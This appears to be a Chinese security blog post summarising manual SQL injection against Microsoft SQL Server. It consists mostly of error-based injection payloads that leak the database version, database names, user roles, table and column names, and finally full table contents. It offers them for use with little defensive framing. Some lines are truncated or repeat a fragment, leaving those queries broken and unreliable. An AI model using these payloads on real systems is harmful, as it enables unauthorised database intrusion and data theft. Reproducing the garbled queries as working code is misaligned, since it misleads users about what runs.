登陆 注册

MSSQL手工注入总结

WySec 2018-10-19 mssql手工注入
黑白网(heibai.org)成立于2014年,多年来以其专业的视角,优质的服务为广大安全技术爱好者提供了目前国内最全的网络安全技术学习资料,普及中国网络安全知识,宣扬正确的黑客极客文化,全方面提高国内安全技术水平。

数据库信息获取 MSSQL手工注入总结  mssql 手工注入 第1张数据库信息获取

1=convert(int,(db_name()))  #获取当前数据库名  1=convert(int,(@@version))  #获取数据库版本  1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) #一次性获取全部数据库  1=convert(int,(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH('')))  #一次性获取全部

USER信息

and 1=(select IS_SRVROLEMEMBER('db_owner')) #查看是否为db_owner权限、sysadmin、public (未测试成功)如果正确则正常,否则报错  1=convert(int,(user)) #查看连接数据库的用户  admin' AND 1878=CONVERT(INT,(SELECT SUBSTRING((CASE WHEN(IS_SRVROLEMEMBER('db_owner')=1)THEN '1' ELSE '0' END),1,100)))  AND 'iaQQ'='iaQQ #来自sqlmap 也为测试成功。  ps:未测试成功可能是环境问题

获取表名

获取所有表名

1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('V_

获取指定数据库的表名

1=convert(int,(select top 1 quotename(name) from [数据库名]..sysobjects where name not in('table_name1','table_name2') and xtype='U') #逐条获取表名,将报出来的表名放入tuple  1=convert(int,(select quotename(name) from [数据库名]..sysobjects where xtype='U' FOR XML PATH(''))) #一次性获取表名,如果表很多的话会失败。  1=convert(int,(select top 1 table_name from information_schema.tables where table_catalog=[数据库名table_catalog=[数据库名

获取列名

获取注入点的表中的列名

having 1=1 --  group by column_name1,column_name2 having 1=1--

获取任意表中的列名

1=convert(int,(select quotename(name) from [数据库名]..syscolumns where id =(select id from [数据库

爆数据

1=(select top 1 * from [数据库名]..[表名] FOR XML PATH(‘’))


https://www.cnblogs.com/beyond1983/archive/2013/04/16/3023707.html可以看看这篇文章,有助于学习(转载)


生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.